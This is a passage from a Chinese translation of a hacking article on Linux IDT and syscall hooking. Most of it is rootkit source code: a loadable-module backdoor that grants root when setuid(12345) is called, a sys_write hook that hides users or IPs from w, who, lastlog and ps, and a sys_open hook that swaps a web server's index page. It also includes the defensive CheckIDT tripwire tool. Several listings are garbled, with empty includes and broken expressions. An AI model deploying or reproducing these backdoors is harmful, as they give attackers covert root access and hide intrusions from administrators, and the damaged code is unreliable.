------[ 5.3.1 - sys_setuid鉤子
SYS_SETUID:
-----------
EAX: 213
EBX: uid
我們來看一個簡單的例子,又一個小后門。跟前面的3.5中的差不多,只是在這里,我們使用的是
hook syscall setuid.
asm handler :
--------------
...
#define sys_number 213
...
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
//save the register value
" pushl %%ds \n"
" pushl %%eax \n"
" pushl %%ebp \n"
" pushl %%edi \n"
" pushl %%esi \n"
" pushl %%edx \n"
" pushl %%ecx \n"
" pushl %%ebx \n"
//compare if it's the good syscall
" xor %%ebx,%%ebx \n"
" movl %2,%%ebx \n"
" cmpl %%eax,%%ebx \n"
" jne finis \n"
//if it's the good syscall,
//put top stack address on stack :)
" mov %%esp,%%edx \n"
" mov %%esp,%%eax \n"
" andl $-8192,%%eax \n"
" pushl %%eax \n"
" push %%edx \n"
" call *%0 \n"
" addl $8,%%esp \n"
"finis: \n"
//restore register
" popl %%ebx \n"
" popl %%ecx \n"
" popl %%edx \n"
" popl %%esi \n"
" popl %%edi \n"
" popl %%ebp \n"
" popl %%eax \n"
" popl %%ds \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
);
}
- 保存所有寄存器
- 比較是否是我們hook的sys_number
- 假如是,我們把esp值和當(dāng)前進程描述put到堆棧中。
- 調(diào)用我們的C函數(shù),在返回的時候,我們pop了8個字節(jié)(eax + edx).
- finis : 彈出所有的寄存器值,然后我們調(diào)用真正的處理函數(shù)。
通過改變sys_number值, 我們可以hook任何的系統(tǒng)調(diào)用
C handler
----------
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct *) fd_task)[0];
if (regs->ebx == 12345 )
{
my_task->uid=0;
my_task->gid=0;
my_task->suid=1000;
}
}
我們通過pt_regs結(jié)構(gòu)得到寄存器值并且得到current描述符的地址。我們比較ebx值是否為12345,假如
是的話,我們設(shè)置uid和gid為0。
練習(xí) :
--------------
bash-2.05$ cat setuid.c
#include
int main (int argc,char ** argv)
{
setuid(12345);
system("/bin/sh");
return 0;
}
bash-2.05$ gcc -o setuid setuid.c
bash-2.05$ ./setuid
sh-2.05# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.05#
OK,我們是ROOT了,該技術(shù)可以適應(yīng)到任何的系統(tǒng)調(diào)用。
------[ 5.3.2 - sys_write鉤子
SYS_WRITE:
----------
EAX: 4
EBX: file descriptor
ECX: ptr to output buffer
EDX: count of bytes to send
我們將hook sys_write來替換一個字符串。然后,我們也可以替換整個系統(tǒng)的。
asm處理函數(shù)部分跟在 5.3.1 相同
C handler
----------
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task= &((struct task_struct *) fd_task) [0];
char *ptr=(char *) regs->ecx;
char * buffer,*ptr3;
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0||
strcmp(my_task->comm,"lastlog")==0 ||
((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
{
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
copy_from_user(buffer,ptr,regs->edx);
if(hide_string)
{
ptr3=strstr(buffer,hide_string);
}
else
{
ptr3=strstr(buffer,HIDE_STRING);
}
if(ptr3 != NULL )
{
if (false_string)
{
strncpy(ptr3,false_string,strlen(false_string));
}
else
{
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
}
copy_to_user(ptr,buffer,regs->edx);
}
kfree(buffer);
}
}
- 比較是否是要操作的進程
- 分配buffer空間,接收來自的regs->ecx字符串
- 我們把string從用戶空間拷貝到內(nèi)核空間(copy_from_user)
- 查找我們要隱藏到的string
- 假如發(fā)現(xiàn)替換成我們要變成的string
- 把我們替換過的string拷貝到用戶空間(copy_to_user)
練習(xí) :
--------------
%gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c
%w
12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
kad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx
kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid
%modinfo hookstub-V0.5.2.o
filename: hookstub-V0.5.2.o
description: "Hooking of sys_write"
author: "kad"
parm: interrupt int, description "Interrupt number"
parm: hide_string string, description "String to hide"
parm: false_string string, description "The fake string"
parm: progy string, description "You can add another program to fake"
%insmod hookstub-V0.5.2.o interrupt=128 hide_string=alert7 false_string=marcel
progy=ps
Inserting hook
Hooking finish
[alert7@redhat73 alert7]$ w
8:36am up 7:07, 3 users, load average: 0.02, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/1 192.168.0.176 1:47am 3.00s 0.28s 0.28s -bash
marcel pts/2 192.168.0.176 8:34am 0.00s 0.10s 0.01s w
[alert7@redhat73 alert7]$ ps -au
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
marcel 18602 0.0 0.6 2464 1288 pts/2 S 08:34 0:00 -bash
marcel 18685 0.0 0.3 2580 664 pts/2 R 08:41 0:00 ps -au
字符串"alert7"被隱藏起來了。整個源代碼在附件CODE 3中。該例子非常簡單但是非常
令人感興趣。我們把"alert7"替換成了"marcel", 我們也可改變我們的IP地址,不但可以
hook w ,who,lastlog我們還可以hook kogd等等
完全的sys_write鉤子
------------------------------
完全的sys_write鉤子有時候是比較有用的,比如我們要把一個IP地址變成另外一個。但是假如
我們完全改變一個string,那么我們將不再隱藏了。假如你把一個string變成另一個,它將影響
到整個系統(tǒng)。甚至簡單的cat也受影響:
%insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! "
Inserting hook
Hooking finish
%echo hello!
bye!
%
C 處理函數(shù)跟上面的一樣,就是不帶那個判斷條件。然而,這樣就使的系統(tǒng)會變的很慢。
----[ 5.4 - fun鉤子
該例子僅僅for fun,請不要濫用。感謝Spacewalker,這是他的想法。hook系統(tǒng)調(diào)用sys_open,所以
它打開其他文件時將使用另外個已經(jīng)定義一個的文件替代。在這里只對httpd做處理。
SYS_OPEN:
---------
EAX : 5
EBX : ptr to pathname
ECX : file access
EDX : file permissions
asm 處理函數(shù)通上
C handler :
------------
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
if(strcmp(my_task->comm,"httpd") == 0)
{
if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0)
{
copy_to_user((char *)regs->ebx,"/tmp/hacked",
strlen((char *) regs->ebx));
}
}
}
當(dāng)我們hook sys_open,假如httpd調(diào)用sys_open并且試圖打開index.html的時候,我們
就把index.html變成其他選擇的頁面。我們也可以使用MODULE_PARM很容易的改變這個頁。假如
是類試vi編輯器的時候,它將看到真正的index.html!
使用這種技術(shù)hook一個系統(tǒng)調(diào)用是非常容易的事情。此外,只要做些小改動就可以hook
其他系統(tǒng)調(diào)用。僅僅要做的就是給C處理函數(shù)做些小改動。然而,我們玩的是asm處理函數(shù),例如
顛倒兩個系統(tǒng)調(diào)用。我們僅需要比較eax值并且把該值改成想要的系統(tǒng)調(diào)用值。為于管理員來說,
我們可以hook一些“熱門”的系統(tǒng)調(diào)用并且只要該系統(tǒng)調(diào)用被調(diào)用就會警告。我們也可以對
syscall_table修改的報警。
--[ 6 - CHECKIDT
CheckIDT是個小程序,在用戶模式玩轉(zhuǎn)IDT,它不需要使用LKM,。感謝Phrack 58關(guān)于
/dev/kmem的技術(shù)文章。該小程序就是基于這個寫的。CheckIDT幫助您編寫LKM并且防止重起。
另一方面,該軟件能對修改IDT作出警告,這對管理員是非常有用的。它使用tripwire的風(fēng)格
保存IDT的狀態(tài)。它在文件中保存著IDT每個描述符,然后和現(xiàn)在的做比較。
一些使用例子 :
-----------------------
[root@redhat73 root]# ./checkidt
CheckIDT V 1.1 by kad
---------------------
Option :
-a nb show all info about one interrupt
-A showw all info about all interrupt
-I show IDT address
-c create file archive
-r read file archive
-o file output filename (for creating file archive)
-C compare save idt & new idt
-R restore IDT
-i file input filename to compare or read
-s resolve symbol thanks to /boot/System.map
-S file specify a map file
[root@redhat73 root]# ./checkidt -a 3 -s
Int *** Stub Address *** Segment *** DPL *** Type Handler Name
--------------------------------------------------------------------------
3 0xc0108ab0 KERNEL_CS 3 System gate int3
Thanks for choosing kad's products :-)
我們可以獲得一個中斷的描述信息。使用"-A"允許我們獲得所有的中斷。
[root@redhat73 root]# ./checkidt -c
Creating file archive idt done
Thanks for choosing kad's products :-)
[root@redhat73 root]# insmod hookstub-V0.3.2.o interrupt=3
Warning: loading hookstub-V0.3.2.o will taint the kernel: no license
Inserting hook
Hooking finished
[root@redhat73 root]# ./checkidt -C
Hey stub address of interrupt 3 has changed!!!
Old Value : 0xc0108ab0
New Value : 0xcc87b064
Thanks for choosing kad's products :-)
[root@redhat73 root]# ./checkidt -R
Restore old stub address of interrupt 3
Thanks for choosing kad's products :-)
[root@redhat73 root]# ./checkidt -C
All values are same
Thanks for choosing kad's products :-)
[root@redhat73 root]# lsmod
Module Size Used by Tainted: P
hookstub-V0.3.2 1712 0 (unused)
...
所以,CheckIDT可以恢復(fù)插入模塊之前的IDT的值。模塊還在那里,但已經(jīng)不起作用了。
作為 tripwire,我建議你把保存IDT的文件放在只讀區(qū)。
注 : 假如模塊是隱藏著的,你也可以根據(jù)IDT的不同從而確定隱藏模塊的存在。
整個代碼在附件 CODE 4.
--[ 7 - REFERENCES
[1] http://www.linuxassembly.org/resources.html#tutorials
Many docs on asm inline
[2] http://www.xml.com/ldd/chapter/book/
linux device drivers
[3] http://www.lxhp.in-berlin.de/lhpsysc0.html
detailed syscalls list
[4] http://eccentrica.org/Mammon/
Mammon site, thanks mammon ;)
[5] http://www.oreilly.com/catalog/linuxkernel/
o'reilly book , great book :)
[6] http://www.tldp.org/LDP/lki/index.html
Linux Kernel 2.4 Internals
[7] Sources of 2.2.19 and 2.4.17 kernel
[8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html
good info about how bottom half work
[9] http://www.s0ftpj.org/en/tools.html
kstat
致謝
- 特別感謝freya, django和neuro幫助我把本文轉(zhuǎn)化為英文。再次感謝skyper的建議,還要感謝多少人:)
- 感謝Wax在asm上給我的寶貴意見
- 非常感謝mayhem, insulted, ptah 和 sauron 測試代碼并且校驗本文
- 感謝#frogs頻道的人, #thebhz 頻道的人, #gandalf 頻道的人, #fr 頻道的人, 感謝所有在RtC.Party
的人們,我不會忘記的,謝謝。
--[ 8 - 附件
CODE 1:
-------
/*****************************************/
/* hooking interrupt 3 . Idea by mammon */
/* with kad modification */
/*****************************************/
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#define error_code 0xc01092d0 //error code in my system.map
#define do_int3 0xc010977c //do_int3 in my system.map
asmlinkage void my_handler(struct pt_regs * regs,long err_code);
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long ptr_gdt_table;
unsigned long old_stub;
unsigned long old_handler=do_int3;
extern asmlinkage void my_stub();
unsigned long ptr_error_code=error_code;
unsigned long ptr_handler=(unsigned long)&my_handler;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
"pushl $0 \n"
"pushl ptr_handler(,1) \n"
"jmp *ptr_error_code "
::
);
}
asmlinkage void my_handler(struct pt_regs * regs,long err_code)
{
void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler;
printk("Wowowo hijacking de l'int 3 \n");
(*old_int_handler)(regs,err_code);
return;
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(3);
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
return;
}
int init_module(void)
{
ptr_idt_table=get_addr_idt();
hook_stub(3,&my_stub,&old_stub);
return 0;
}
void cleanup_module()
{
hook_stub(3,(char *)old_stub,NULL);
}
******************************************************************************
CODE 2:
-------
/****************************************************/
/* IDT int3 backdoor. Give root right to the process
/* Coded by kad
/****************************************************/
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#ifndef KERNEL2
#include
#else
#include
#endif
/*------------------------------------------*/
asmlinkage void my_function(unsigned long);
/*------------------------------------------*/
MODULE_AUTHOR("Kad");
MODULE_DESCRIPTION("Hooking of int3 , give root right to process");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" pushl %%ebx \n"
" movl %%esp,%%ebx \n"
" andl $-8192,%%ebx \n"
" pushl %%ebx \n"
" call *%0 \n"
" addl $4,%%esp \n"
" popl %%ebx \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
asmlinkage void my_function(unsigned long addr_task)
{
struct task_struct *p = &((struct task_struct *) addr_task)[0];
if(strcmp(p->comm,"give_me_root")==0 )
{
#ifdef DEBUG
printk("UID : %i GID : %i SUID : %i\n",p->uid,
p->gid,p->suid);
#endif
p->uid=0;
p->gid=0;
#ifdef DEBUG
printk("UID : %i GID %i SUID : %i\n",p->uid,p->gid,p->suid);
#endif
}
else
{
#ifdef DEBUG
printk("Interrupt %i hijack \n",interrupt);
#endif
}
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
unsigned short get_size_idt(void)
{
unsigned idtr[6];
unsigned short size;
__asm__ volatile ("sidt %0": "=m" (idtr));
size=*((unsigned short *) &idtr[0]);
return(size);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(n);
#ifdef DEBUG
printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr);
#endif
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
#ifdef DEBUG
printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
#endif
return;
}
int write_console (char *str)
{
struct tty_struct *my_tty;
if((my_tty=current->tty) != NULL)
{
(*(my_tty->driver).write) (my_tty,0,str,strlen(str));
return 0;
}
else return -1;
}
static int __init kad_init(void)
{
int x;
EXPORT_NO_SYMBOLS;
ptr_idt_table=get_addr_idt();
write_console("Inserting hook \r\n");
hook_stub(interrupt,&my_stub,&old_stub);
#ifdef DEBUG
printk("Set hooking on interrupt %i\n",interrupt);
#endif
write_console("Hooking finished \r\n");
return 0;
}
static void kad_exit(void)
{
write_console("Removing hook\r\n");
hook_stub(interrupt,(char *)old_stub,NULL);
}
module_init(kad_init);
module_exit(kad_exit);
******************************************************************************
CODE 3:
-------
/**************************************************************/
/* Hooking of sys_write for w,who and lastlog.
/* You can add an another program when you insmod the module
/* By kad
/**************************************************************/
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#ifndef KERNEL2
#include
#else
#include
#endif
#include
#include
#define sys_number 4
#define HIDE_STRING "localhost"
#define FALSE_STRING "somewhere"
#define PROG "w"
/*------------------------------------------*/
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task);
/*------------------------------------------*/
MODULE_AUTHOR("kad");
MODULE_DESCRIPTION("Hooking of sys_write");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
MODULE_PARM(hide_string,"s");
MODULE_PARM_DESC(hide_string,"String to hide");
MODULE_PARM(false_string,"s");
MODULE_PARM_DESC(false_string,"The fake string");
MODULE_PARM(progy,"s");
MODULE_PARM_DESC(progy,"You can add another program to fake");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
char *hide_string;
char *false_string;
char *progy;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
//save the register value
" pushl %%ds \n"
" pushl %%eax \n"
" pushl %%ebp \n"
" pushl %%edi \n"
" pushl %%esi \n"
" pushl %%edx \n"
" pushl %%ecx \n"
" pushl %%ebx \n"
//compare it's the good syscall
" xor %%ebx,%%ebx \n"
" movl %2,%%ebx \n"
" cmpl %%eax,%%ebx \n"
" jne finis \n"
//if it's the good syscall , continue :)
" mov %%esp,%%edx \n"
" mov %%esp,%%eax \n"
" andl $-8192,%%eax \n"
" pushl %%eax \n"
" push %%edx \n"
" call *%0 \n"
" addl $8,%%esp \n"
"finis: \n"
//restore register
" popl %%ebx \n"
" popl %%ecx \n"
" popl %%edx \n"
" popl %%esi \n"
" popl %%edi \n"
" popl %%ebp \n"
" popl %%eax \n"
" popl %%ds \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
);
}
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
char *ptr=(char *) regs->ecx;
char * buffer,*ptr3;
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0
|| strcmp(my_task->comm,"lastlog")==0
|| ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
{
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
copy_from_user(buffer,ptr,regs->edx);
if(hide_string)
{
ptr3=strstr(buffer,hide_string);
}
else
{
ptr3=strstr(buffer,HIDE_STRING);
}
if(ptr3 != NULL )
{
if (false_string)
{
strncpy(ptr3,false_string,strlen(false_string));
}
else
{
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
}
copy_to_user(ptr,buffer,regs->edx);
}
kfree(buffer);
}
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(n);
#ifdef DEBUG
printk("Hook : new stub addresse not splited : 0x%.8x\n",
new_addr);
#endif
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
#ifdef DEBUG
printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
#endif
return;
}
int write_console (char *str)
{
struct tty_struct *my_tty;
if((my_tty=current->tty) != NULL)
{
(*(my_tty->driver).write) (my_tty,0,str,strlen(str));
return 0;
}
else return -1;
}
static int __init kad_init(void)
{
EXPORT_NO_SYMBOLS;
ptr_idt_table=get_addr_idt();
write_console("Inserting hook \r\n");
hook_stub(interrupt,&my_stub,&old_stub);
#ifdef DEBUG
printk("Set hooking on interrupt %i\n",interrupt);
#endif
write_console("Hooking finish \r\n");
return 0;
}
static void kad_exit(void)
{
write_console("Removing hook\r\n");
hook_stub(interrupt,(char *)old_stub,NULL);
}
module_init(kad_init);
module_exit(kad_exit);
******************************************************************************
checkidt/Makefile
all: checkidt.c
gcc -Wall -o checkidt checkidt.c
checkidt/checkidt.c
/*
* CheckIDT V1.1
* Play with IDT from userland
* It's a tripwire kind for IDT
* kad 2002
*
* gcc -Wall -o checkidt checkidt.c
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define NORMAL "\033[0m"
#define NOIR "\033[30m"
#define ROUGE "\033[31m"
#define VERT "\033[32m"
#define JAUNE "\033[33m"
#define BLEU "\033[34m"
#define MAUVE "\033[35m"
#define BLEU_CLAIR "\033[36m"
#define SYSTEM "System gate"
#define INTERRUPT "Interrupt gate"
#define TRAP "Trap gate"
#define DEFAULT_FILE "Safe_idt"
#define DEFAULT_MAP "/boot/System.map"
/***********GLOBAL**************/
int fd_kmem;
unsigned long ptr_idt;
/******************************/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
struct Mode
{
int show_idt_addr;
int show_all_info;
int read_file_archive;
int create_file_archive;
char out_filename[20];
int compare_idt;
int restore_idt;
char in_filename[20];
int show_all_descriptor;
int resolve;
char map_filename[40];
};
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
unsigned short get_size_idt(void)
{
unsigned idtr[6];
unsigned short size;
__asm__ volatile ("sidt %0": "=m" (idtr));
size=*((unsigned short *) &idtr[0]);
return(size);
}
char * get_segment(unsigned short selecteur)
{
if(selecteur == __KERNEL_CS)
{
return("KERNEL_CS");
}
if(selecteur == __KERNEL_DS)
{
return("KERNEL_DS");
}
if(selecteur == __USER_CS)
{
return("USER_CS");
}
if(selecteur == __USER_DS)
{
return("USER_DS");
}
else
{
printf("UNKNOW\n");
}
}
void readkmem(void *m,unsigned off,int size)
{
if(lseek(fd_kmem,off,SEEK_SET) != off)
{
fprintf(stderr,"Error lseek. Are you root? \n");
exit(-1);
}
if(read(fd_kmem,m,size)!= size)
{
fprintf(stderr,"Error read kmem\n");
exit(-1);
}
}
void writekmem(void *m,unsigned off,int size)
{
if(lseek(fd_kmem,off,SEEK_SET) != off)
{
fprintf(stderr,"Error lseek. Are you root? \n");
exit(-1);
}
if(write(fd_kmem,m,size)!= size)
{
fprintf(stderr,"Error read kmem\n");
exit(-1);
}
}
void resolv(char *file,unsigned long stub_addr,char *name)
{
FILE *fd;
char buf[100],addr[30];
int ptr,ptr_begin,ptr_end;
snprintf(addr,30,"%x",(char *)stub_addr);
if(!(fd=fopen(file,"r")))
{
fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n");
exit(-1);
}
while(fgets(buf,100,fd) != NULL)
{
ptr=strstr(buf,addr);
if(ptr)
{
bzero(name,30);
ptr_begin=strstr(buf," ");
ptr_begin=strstr(ptr_begin+1," ");
ptr_end=strstr(ptr_begin+1,"\n");
strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1);
break;
}
}
if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL);
fclose(fd);
}
void show_all_info(int interrupt,int all_descriptor,char *file,int resolve)
{
struct descriptor_idt *descriptor;
unsigned long stub_addr;
unsigned short selecteur;
char type[15];
char segment[15];
char name[30];
int x;
int dpl;
bzero(name,strlen(name));
descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
printf("Int *** Stub Address *** Segment *** DPL *** Type ");
if(resolve >= 0)
{
printf(" Handler Name\n");
printf("--------------------------------------------------------------------------\n");
}
else
{
printf("\n");
printf("---------------------------------------------------\n");
}
if(interrupt >= 0)
{
readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt));
stub_addr=(unsigned long)(descriptor->offset_high offset_low;
selecteur=(unsigned short) descriptor->seg_selector;
if(descriptor->flag & 64) dpl=3;
else dpl = 0;
if(descriptor->flag & 1)
{
if(dpl)
strncpy(type,SYSTEM,sizeof(SYSTEM));
else strncpy(type,TRAP,sizeof(TRAP));
}
else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
strcpy(segment,get_segment(selecteur));
if(resolve >= 0)
{
resolv(file,stub_addr,name);
printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name);
}
else
{
printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type);
}
}
if(all_descriptor >= 0 )
{
for (x=0;xoffset_high offset_low;
if(stub_addr != 0)
{
selecteur=(unsigned short) descriptor->seg_selector;
if(descriptor->flag & 64) dpl=3;
else dpl = 0;
if(descriptor->flag & 1)
{
if(dpl)
strncpy(type,SYSTEM,sizeof(SYSTEM));
else strncpy(type,TRAP,sizeof(TRAP));
}
else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
strcpy(segment,get_segment(selecteur));
if(resolve >= 0)
{
bzero(name,strlen(name));
resolv(file,stub_addr,name);
printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name);
}
else
{
printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type);
}
}
}
}
free(descriptor);
}
void create_archive(char *file)
{
FILE *file_idt;
struct descriptor_idt *descriptor;
int x;
descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
if(!(file_idt=fopen(file,"w")))
{
fprintf(stderr,"Error while opening file\n");
exit(-1);
}
for(x=0;xoffset_high offset_low;
printf("Interruption : %i -- Stub addresse : 0x%.8x\n",x,stub_addr);
}
free(descriptor);
fclose(file_idt);
}
void compare_idt(char *file,int restore_idt)
{
FILE *file_idt;
int x,change=0;
int result;
struct descriptor_idt *save_descriptor,*actual_descriptor;
unsigned long save_stub_addr,actual_stub_addr;
unsigned short *offset;
save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
file_idt=fopen(file,"r");
for(x=0;xoffset_high offset_low;
readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
actual_stub_addr=(unsigned long)(actual_descriptor->offset_high offset_low;
if(actual_stub_addr != save_stub_addr)
{
if(restore_idt offset_high = (unsigned short) (save_stub_addr >> 16);
actual_descriptor->offset_low = (unsigned short) (save_stub_addr & 0x0000FFFF);
writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
change=1;
}
}
}
if(!change)
fprintf(stderr,VERT"All values are same\n"NORMAL);
}
void initialize_value(struct Mode *mode)
{
mode->show_idt_addr=-1;
mode->show_all_info=-1;
mode->show_all_descriptor=-1;
mode->create_file_archive=-1;
mode->read_file_archive=-1;
strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
mode->compare_idt=-1;
mode->restore_idt=-1;
strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP));
mode->resolve=-1;
}
void usage()
{
fprintf(stderr,"CheckIDT V 1.1 by kad\n");
fprintf(stderr,"---------------------\n");
fprintf(stderr,"Option : \n");
fprintf(stderr," -a nb show all info about one interrupt\n");
fprintf(stderr," -A showw all info about all interrupt\n");
fprintf(stderr," -I show IDT address \n");
fprintf(stderr," -c create file archive\n");
fprintf(stderr," -r read file archive\n");
fprintf(stderr," -o file output filename (for creating file archive)\n");
fprintf(stderr," -C compare save idt & new idt\n");
fprintf(stderr," -R restore IDT\n");
fprintf(stderr," -i file input filename to compare or read\n");
fprintf(stderr," -s resolve symbol thanks to /boot/System.map\n");
fprintf(stderr," -S file specify a map file\n\n");
exit(1);
}
int main(int argc, char ** argv)
{
int option;
struct Mode *mode;
if (argc show_idt_addr=1;
break;
case 'a': mode->show_all_info=atoi(optarg);
break;
case 'A': mode->show_all_descriptor=1;
break;
case 'c': mode->create_file_archive=1;
break;
case 'r': mode->read_file_archive=1;
break;
case 'R': mode->restore_idt=1;
break;
case 'o': bzero(mode->out_filename,sizeof(mode->out_filename));
if(strlen(optarg) > 20)
{
fprintf(stderr,"Filename too long\n");
exit(-1);
}
strncpy(mode->out_filename,optarg,strlen(optarg));
break;
case 'C': mode->compare_idt=1;
break;
case 'i': bzero(mode->in_filename,sizeof(mode->in_filename));
if(strlen(optarg) > 20)
{
fprintf(stderr,"Filename too long\n");
exit(-1);
}
strncpy(mode->in_filename,optarg,strlen(optarg));
break;
case 's': mode->resolve=1;
break;
case 'S': bzero(mode->map_filename,sizeof(mode->map_filename));
if(strlen(optarg) > 40)
{
fprintf(stderr,"Filename too long\n");
exit(-1);
}
if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg));
break;
}
}
printf("\n");
ptr_idt=get_addr_idt();
if(mode->show_idt_addr >= 0)
{
